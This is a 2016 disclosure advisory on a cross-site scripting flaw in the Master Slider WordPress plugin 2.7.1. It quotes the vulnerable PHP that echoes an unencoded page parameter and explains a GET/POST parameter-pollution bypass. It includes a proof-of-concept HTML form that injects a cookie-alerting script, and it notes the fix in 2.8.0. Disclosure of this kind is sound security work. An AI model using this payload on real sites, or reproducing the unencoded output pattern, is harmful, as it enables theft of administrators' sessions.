WordPress Master Slider - Responsive Touch Slider plugin version 2.7.1 suffers from a cross site scripting vulnerability.
ee681a6e0bc4a7df736fc4b47c1b54d308eacfa9875b9ade1c2ced88ce14d70b
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Master Slider WordPress Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Master Slider
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0013
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Master Slider - Responsive Touch
Slider WordPress Plugin version 2.7.1.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Master Slider version 2.8.0.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_master_slider_wordpress_plugin.html
The issue exists in the file class-msp-list-table.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
return sprintf('<a href="?page=%s&action=%s&slider_id=%s">%s</a>',$_REQUEST['page'],'edit', $item['ID'], $item['title'] );
[...]
$buttons .= sprintf( '<a class="action-duplicate msp-ac-btn msp-btn-gray msp-iconic" href="?page=%s&action=%s&slider_id=%s%s"><span></span>%s</a>',$_REQUEST['page'],'duplicate' ,$item['ID'], $paged_arg, __('duplicate') );
[...]
$buttons .= sprintf( '<a class="action-delete msp-ac-btn msp-btn-red msp-iconic" href="?page=%s&action=%s&slider_id=%s%s" onClick="return confirm(\'%s\');" ><span></span>%s</a>', $_REQUEST['page'],'delete' ,$item['ID'],
[...]
$buttons .= sprintf( '<a class="action-preview msp-ac-btn msp-btn-blue msp-iconic" href="?page=%s&action=%s&slider_id=%s" onClick="lunchMastersliderPreviewBySliderID(%s);return false;" ><span></span>%s</a>',$_REQUEST['page'],'preview' ,$item['ID'], $item['ID'], __('preview') );
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=master-slider" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.